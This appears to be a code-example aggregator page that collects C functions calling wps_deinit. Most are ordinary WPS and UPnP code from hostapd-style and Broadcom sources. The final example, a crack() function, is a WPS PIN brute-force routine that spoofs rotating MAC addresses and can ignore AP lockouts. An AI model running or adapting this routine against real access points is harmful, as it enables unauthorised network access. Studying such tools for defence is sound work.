Esempio n. 1
0
static enum http_reply_code
web_process_get_device_info(struct upnp_wps_device_sm *sm,
			    struct wpabuf **reply, const char **replyname)
{
	static const char *name = "NewDeviceInfo";
	struct wps_config cfg;
	struct upnp_wps_device_interface *iface;
	struct upnp_wps_peer *peer;

	iface = dl_list_first(&sm->interfaces,
			      struct upnp_wps_device_interface, list);

	wpa_printf(MSG_DEBUG, "WPS UPnP: GetDeviceInfo");

	if (!iface || iface->ctx->ap_pin == NULL)
		return HTTP_INTERNAL_SERVER_ERROR;

	peer = &iface->peer;

	/*
	 * Request for DeviceInfo, i.e., M1 TLVs. This is a start of WPS
	 * registration over UPnP with the AP acting as an Enrollee. It should
	 * be noted that this is frequently used just to get the device data,
	 * i.e., there may not be any intent to actually complete the
	 * registration.
	 */

	if (peer->wps)
		wps_deinit(peer->wps);

	os_memset(&cfg, 0, sizeof(cfg));
	cfg.wps = iface->wps;
	cfg.pin = (u8 *) iface->ctx->ap_pin;
	cfg.pin_len = os_strlen(iface->ctx->ap_pin);
	peer->wps = wps_init(&cfg);
	if (peer->wps) {
		enum wsc_op_code op_code;
		*reply = wps_get_msg(peer->wps, &op_code);
		if (*reply == NULL) {
			wps_deinit(peer->wps);
			peer->wps = NULL;
		}
	} else
		*reply = NULL;
	if (*reply == NULL) {
		wpa_printf(MSG_INFO, "WPS UPnP: Failed to get DeviceInfo");
		return HTTP_INTERNAL_SERVER_ERROR;
	}
	*replyname = name;
	return HTTP_OK;
}
Esempio n. 2
0
static void wps_upnp_peer_del(struct upnp_wps_peer *peer)
{
	dl_list_del(&peer->list);
	if (peer->wps)
		wps_deinit(peer->wps);
	os_free(peer);
}
Esempio n. 3
0
static void wps_er_sta_start(struct wps_er_sta *sta, struct wpabuf *msg)
{
	struct wps_config cfg;

	if (sta->wps)
		wps_deinit(sta->wps);

	os_memset(&cfg, 0, sizeof(cfg));
	cfg.wps = sta->ap->er->wps;
	cfg.registrar = 1;
	cfg.peer_addr = sta->addr;

	sta->wps = wps_init(&cfg);
	if (sta->wps == NULL)
		return;
	sta->wps->er = 1;
	sta->wps->use_cred = sta->ap->ap_settings;
	if (sta->ap->ap_settings) {
		os_free(sta->cred);
		sta->cred = os_malloc(sizeof(*sta->cred));
		if (sta->cred) {
			os_memcpy(sta->cred, sta->ap->ap_settings,
				  sizeof(*sta->cred));
			sta->cred->cred_attr = NULL;
			os_memcpy(sta->cred->mac_addr, sta->addr, ETH_ALEN);
			sta->wps->use_cred = sta->cred;
		}
	}

	wps_er_sta_process(sta, msg, WSC_MSG);
}
Esempio n. 4
0
void globule_deinit()
{
    int i = 0;

    if(globule)
    {
        for(i=0; i<P1_SIZE; i++)
        {
            if(globule->p1[i]) free(globule->p1[i]);
        }
        for(i=0; i<P2_SIZE; i++)
        {
            if(globule->p2[i]) free(globule->p2[i]);
        }

        if(globule->wps) wps_deinit(globule->wps);
        if(globule->handle) pcap_close(globule->handle);
        if(globule->pin) free(globule->pin);
        if(globule->iface) free(globule->iface);
        if(globule->ssid) free(globule->ssid);
        if(globule->session) free(globule->session);
        if(globule->static_p1) free(globule->static_p1);
        if(globule->static_p2) free(globule->static_p2);
        if(globule->fp) fclose(globule->fp);
        if(globule->exec_string) free(globule->exec_string);

        free(globule);
    }
}
static void wps_er_http_put_message_cb(void *ctx, struct http_client *c,
				       enum http_client_event event)
{
	struct wps_er_ap *ap = ctx;
	struct wpabuf *reply;
	char *msg = NULL;

	switch (event) {
	case HTTP_CLIENT_OK:
		wpa_printf(MSG_DEBUG, "WPS ER: PutMessage OK");
		reply = http_client_get_body(c);
		if (reply == NULL)
			break;
		msg = os_zalloc(wpabuf_len(reply) + 1);
		if (msg == NULL)
			break;
		os_memcpy(msg, wpabuf_head(reply), wpabuf_len(reply));
		break;
	case HTTP_CLIENT_FAILED:
	case HTTP_CLIENT_INVALID_REPLY:
	case HTTP_CLIENT_TIMEOUT:
		wpa_printf(MSG_DEBUG, "WPS ER: PutMessage failed");
		if (ap->wps) {
			wps_deinit(ap->wps);
			ap->wps = NULL;
		}
		break;
	}
	http_client_free(ap->http);
	ap->http = NULL;

	if (msg) {
		struct wpabuf *buf;
		enum http_reply_code ret;
		buf = xml_get_base64_item(msg, "NewOutMessage", &ret);
		os_free(msg);
		if (buf == NULL) {
			wpa_printf(MSG_DEBUG, "WPS ER: Could not extract "
				   "NewOutMessage from PutMessage response");
			wps_deinit(ap->wps);
			ap->wps = NULL;
			return;
		}
		wps_er_ap_process(ap, buf);
		wpabuf_free(buf);
	}
}
Esempio n. 6
0
static void eap_wsc_reset(struct eap_sm *sm, void *priv)
{
	struct eap_wsc_data *data = priv;
	eloop_cancel_timeout(eap_wsc_ext_reg_timeout, sm, data);
	wpabuf_free(data->in_buf);
	wpabuf_free(data->out_buf);
	wps_deinit(data->wps);
	os_free(data);
}
Esempio n. 7
0
static void wps_er_ap_process(struct wps_er_ap *ap, struct wpabuf *msg)
{
	enum wps_process_res res;
	struct wps_parse_attr attr;
	enum wsc_op_code op_code;

	op_code = WSC_MSG;
	if (wps_parse_msg(msg, &attr) == 0 && attr.msg_type) {
		switch (*attr.msg_type) {
		case WPS_WSC_ACK:
			op_code = WSC_ACK;
			break;
		case WPS_WSC_NACK:
			op_code = WSC_NACK;
			break;
		case WPS_WSC_DONE:
			op_code = WSC_Done;
			break;
		}
	}

	res = wps_process_msg(ap->wps, op_code, msg);
	if (res == WPS_CONTINUE) {
		struct wpabuf *next = wps_get_msg(ap->wps, &op_code);
		if (next) {
			wps_er_ap_put_message(ap, next);
			wpabuf_free(next);
		} else {
			wpa_printf(MSG_DEBUG, "WPS ER: Failed to build "
				   "message");
			wps_deinit(ap->wps);
			ap->wps = NULL;
		}
	} else if (res == WPS_DONE) {
		wpa_printf(MSG_DEBUG, "WPS ER: Protocol run done");
		wps_deinit(ap->wps);
		ap->wps = NULL;
	} else {
		wpa_printf(MSG_DEBUG, "WPS ER: Failed to process message from "
			   "AP (res=%d)", res);
		wps_deinit(ap->wps);
		ap->wps = NULL;
	}
}
Esempio n. 8
0
static void eap_wsc_deinit(struct eap_sm *sm, void *priv)
{
	struct eap_wsc_data *data = priv;
	wpabuf_free(data->in_buf);
	wpabuf_free(data->out_buf);
	wps_deinit(data->wps);
	os_free(data->wps_ctx->network_key);
	data->wps_ctx->network_key = NULL;
	os_free(data);
}
Esempio n. 9
0
void *
wps_init(void *bcmwps, DevInfo *ap_devinfo)
{
	WPSAPI_T *gp_mc;
	DevInfo *dev_info;

	gp_mc = (WPSAPI_T *)alloc_init(sizeof(*gp_mc));
	if (!gp_mc) {
		TUTRACE((TUTRACE_INFO, "wps_init::malloc failed!\n"));
		return 0;
	}

	gp_mc->dev_info = devinfo_new();
	if (gp_mc->dev_info == NULL)
		goto error;

	/* copy user provided DevInfo to mp_deviceInfo */
	dev_info = gp_mc->dev_info;
	memcpy(dev_info, ap_devinfo, sizeof(DevInfo));

	/* copy prebuild enrollee noce and private key */
	if (dev_info->flags & DEVINFO_FLAG_PRE_PRIV_KEY) {
		if (reg_proto_generate_prebuild_dhkeypair(
			&dev_info->DHSecret, dev_info->pre_privkey) != WPS_SUCCESS) {
			TUTRACE((TUTRACE_ERR, "wps_init::prebuild_dhkeypair failed!\n"));
			goto error;
		}
	}
	else {
		if (reg_proto_generate_dhkeypair(&dev_info->DHSecret) != WPS_SUCCESS) {
			TUTRACE((TUTRACE_ERR, "wps_init::gen dhkeypair failed!\n"));
			goto error;
		}
	}

	gp_mc->mb_initialized = true;
	TUTRACE((TUTRACE_INFO, "wps_init::Done!\n"));

	/* Everything's initialized ok */
	gp_mc->bcmwps = bcmwps;

	return (void *)gp_mc;

error:
	TUTRACE((TUTRACE_ERR, "wps_init::Init failed\n"));
	if (gp_mc) {
		wps_deinit(gp_mc);
	}

	return 0;
}
static struct wpabuf *
hostapd_rx_req_get_device_info(void *priv, struct upnp_wps_peer *peer)
{
	struct hostapd_data *hapd = priv;
	struct wps_config cfg;
	struct wps_data *wps;
	enum wsc_op_code op_code;
	struct wpabuf *m1;

	/*
	 * Request for DeviceInfo, i.e., M1 TLVs. This is a start of WPS
	 * registration over UPnP with the AP acting as an Enrollee. It should
	 * be noted that this is frequently used just to get the device data,
	 * i.e., there may not be any intent to actually complete the
	 * registration.
	 */

	if (peer->wps)
		wps_deinit(peer->wps);

	os_memset(&cfg, 0, sizeof(cfg));
	cfg.wps = hapd->wps;
	cfg.pin = (u8 *) hapd->conf->ap_pin;
	cfg.pin_len = os_strlen(hapd->conf->ap_pin);
	wps = wps_init(&cfg);
	if (wps == NULL)
		return NULL;

	m1 = wps_get_msg(wps, &op_code);
	if (m1 == NULL) {
		wps_deinit(wps);
		return NULL;
	}

	peer->wps = wps;

	return m1;
}
Esempio n. 11
0
static void wps_er_sta_free(struct wps_er_sta *sta)
{
	wps_er_sta_event(sta->ap->er->wps, sta, WPS_EV_ER_ENROLLEE_REMOVE);
	if (sta->wps)
		wps_deinit(sta->wps);
	os_free(sta->manufacturer);
	os_free(sta->model_name);
	os_free(sta->model_number);
	os_free(sta->serial_number);
	os_free(sta->dev_name);
	http_client_free(sta->http);
	eloop_cancel_timeout(wps_er_sta_timeout, sta, NULL);
	os_free(sta->cred);
	os_free(sta);
}
Esempio n. 12
0
static void wps_er_ap_remove_entry(struct wps_er *er, struct wps_er_ap *ap)
{
	wpa_printf(MSG_DEBUG, "WPS ER: Removing AP entry for %s (%s)",
		   inet_ntoa(ap->addr), ap->location);
	eloop_cancel_timeout(wps_er_ap_timeout, er, ap);
	wps_er_sta_remove_all(ap);
	wps_er_ap_event(er->wps, ap, WPS_EV_ER_AP_REMOVE);
	http_client_free(ap->http);
	ap->http = NULL;
	if (ap->wps) {
		wps_deinit(ap->wps);
		ap->wps = NULL;
	}

	dl_list_del(&ap->list);
	if (ap->subscribed) {
		dl_list_add(&er->ap_unsubscribing, &ap->list);
		wps_er_ap_unsubscribe(er, ap);
	} else
		wps_er_ap_free(ap);
}
Esempio n. 13
0
static void wps_er_sta_process(struct wps_er_sta *sta, struct wpabuf *msg,
			       enum wsc_op_code op_code)
{
	enum wps_process_res res;

	res = wps_process_msg(sta->wps, op_code, msg);
	if (res == WPS_CONTINUE) {
		struct wpabuf *next = wps_get_msg(sta->wps, &op_code);
		if (next)
			wps_er_sta_send_msg(sta, next);
	} else {
		wpa_printf(MSG_DEBUG, "WPS ER: Protocol run %s with the "
			   "enrollee (res=%d)",
			   res == WPS_DONE ? "succeeded" : "failed", res);
		wps_deinit(sta->wps);
		sta->wps = NULL;
		if (res == WPS_DONE) {
			/* Remove the STA entry after short timeout */
			eloop_cancel_timeout(wps_er_sta_timeout, sta, NULL);
			eloop_register_timeout(10, 0, wps_er_sta_timeout, sta,
					       NULL);
		}
	}
}
Esempio n. 14
0
/* Brute force all possible WPS pins for a given access point */
void crack()
{
    unsigned char *bssid = NULL;
    char *pin = NULL;
    int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0;
    float pin_count = 0;
    time_t start_time = 0;
    enum wps_result result = 0;
    /* MAC CHANGER VARIABLES */
    int mac_changer_counter = 0;
    char mac[MAC_ADDR_LEN] = { 0 };
    unsigned char mac_string [] = "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ";
    unsigned char* new_mac = &mac_string[0];
    char last_digit = '0';

    if(!get_iface())
    {
        return;
    }

    if(get_max_pin_attempts() == -1)
    {
        cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
        return;
    }

    /* Initialize network interface */
    set_handle(capture_init(get_iface()));

    if(get_handle() != NULL)
    {
        generate_pins();

        /* Restore any previously saved session */
        if(get_static_p1() == NULL)
        {
            restore_session();
        }

        /* Convert BSSID to a string */
        bssid = mac2str(get_bssid(), ':');

        /*
         * We need to get some basic info from the AP, and also want to make sure the target AP
         * actually exists, so wait for a beacon packet
         */
        cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid);
        read_ap_beacon();
        process_auto_options();

        /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */
        if(get_max_pin_attempts() == -1)
        {
            cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
            return;
        }

        /* This initial association is just to make sure we can successfully associate */
        while(!reassociate())
        {
            if(assoc_fail_count == MAX_ASSOC_FAILURES)
            {
                assoc_fail_count = 0;
                cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
            }
            else
            {
                assoc_fail_count++;
            }
        }
        cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid());

        /* Used to calculate pin attempt rates */
        start_time = time(NULL);

        /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */
        if(get_key_status() <= KEY1_WIP)
        {
            set_key_status(KEY1_WIP);
        }
        /*
         * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked.
         * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop.
         */
        else if(get_key_status() == KEY_DONE)
        {
            set_key_status(KEY2_WIP);
        }

        //copy the current mac to the new_mac variable for mac changer
        if (get_mac_changer() == 1) {
            strncpy(new_mac, mac2str(get_mac(), ':'), 16);
        }

        /* Main cracking loop */
        for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++)
        {
            //MAC Changer switch/case to define the last mac address digit
            if (get_mac_changer() == 1) {
                switch (mac_changer_counter) {
                case 0:
                    last_digit = '0';
                    break;
                case 1:
                    last_digit = '1';
                    break;
                case 2:
                    last_digit = '2';
                    break;
                case 3:
                    last_digit = '3';
                    break;
                case 4:
                    last_digit = '4';
                    break;
                case 5:
                    last_digit = '5';
                    break;
                case 6:
                    last_digit = '6';
                    break;
                case 7:
                    last_digit = '7';
                    break;
                case 8:
                    last_digit = '8';
                    break;
                case 9:
                    last_digit = '9';
                    break;
                case 10:
                    last_digit = 'A';
                    break;
                case 11:
                    last_digit = 'B';
                    break;
                case 12:
                    last_digit = 'C';
                    break;
                case 13:
                    last_digit = 'D';
                    break;
                case 14:
                    last_digit = 'E';
                    break;
                case 15:
                    last_digit = 'F';
                    mac_changer_counter = -1;
                    break;
                }

                mac_changer_counter++;

                new_mac[16] = last_digit;
                //transform the string to a MAC and define the MAC
                str2mac((unsigned char *) new_mac, (unsigned char *) &mac);
                set_mac((unsigned char *) &mac);

                cprintf(WARNING, "[+] Using MAC %s \n", mac2str(get_mac(), ':'));
            }

            /*
             * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS
             * registrar requests. Using a delay here can help prevent the AP from locking us out.
             */
            pcap_sleep(get_delay());

            /* Users may specify a delay after x number of attempts */
            if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count()))
            {
                cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay());
                pcap_sleep(get_recurring_delay());
                sleep_count = 0;
            }

            /*
             * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes).
             * Verify that the AP is not locked before attempting the next pin.
             */
            while(get_ignore_locks() == 0 && is_wps_locked())
            {
                cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay());
                pcap_sleep(get_lock_delay());

            }

            /* Initialize wps structure */
            set_wps(initialize_wps_data());
            if(!get_wps())
            {
                cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n");
                break;
            }

            /* Try the next pin in the list */
            pin = build_next_pin();
            if(!pin)
            {
                cprintf(CRITICAL, "[-] Failed to generate the next payload\n");
                break;
            }
            else
            {
                cprintf(WARNING, "[+] Trying pin %s\n", pin);
            }

            /*
             * Reassociate with the AP before each WPS exchange. This is necessary as some APs will
             * severely limit our pin attempt rate if we do not.
             */
            assoc_fail_count = 0;
            while(!reassociate())
            {
                if(assoc_fail_count == MAX_ASSOC_FAILURES)
                {
                    assoc_fail_count = 0;
                    cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
                }
                else
                {
                    assoc_fail_count++;
                }
            }


            /*
             * Enter receive loop. This will block until a receive timeout occurs or a
             * WPS transaction has completed or failed.
             */
            result = do_wps_exchange();

            switch(result)
            {
            /*
             * If the last pin attempt was rejected, increment
             * the pin counter, clear the fail counter and move
             * on to the next pin.
             */
            case KEY_REJECTED:
                fail_count = 0;
                pin_count++;
                advance_pin_count();
                break;
            /* Got it!! */
            case KEY_ACCEPTED:
                break;
            /* Unexpected timeout or EAP failure...try this pin again */
            default:
                cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result);
                fail_count++;
                break;
            }

            /* If we've had an excessive number of message failures in a row, print a warning */
            if(fail_count == WARN_FAILURE_COUNT)
            {
                cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count);
                fail_count = 0;
                pcap_sleep(get_fail_delay());
            }

            /* Display status and save current session state every DISPLAY_PIN_COUNT loops */
            if(loop_count == DISPLAY_PIN_COUNT)
            {
                save_session();
                display_status(pin_count, start_time);
                loop_count = 0;
            }

            /*
             * The WPA key and other settings are stored in the globule->wps structure. If we've
             * recovered the WPS pin and parsed these settings, don't free this structure. It
             * will be freed by wpscrack_free() at the end of main().
             */
            if(get_key_status() != KEY_DONE)
            {
                wps_deinit(get_wps());
                set_wps(NULL);
            }
            /* If we have cracked the pin, save a copy */
            else
            {
                set_pin(pin);
            }
            free(pin);
            pin = NULL;

            /* If we've hit our max number of pin attempts, quit */
            if((get_max_pin_attempts() > 0) &&
                    (pin_count == get_max_pin_attempts()))
            {
                cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts());
                break;
            }
        }

        if(bssid) free(bssid);
        if(get_handle())
        {
            pcap_close(get_handle());
            set_handle(NULL);
        }
    }
    else
    {
        cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface());
    }
}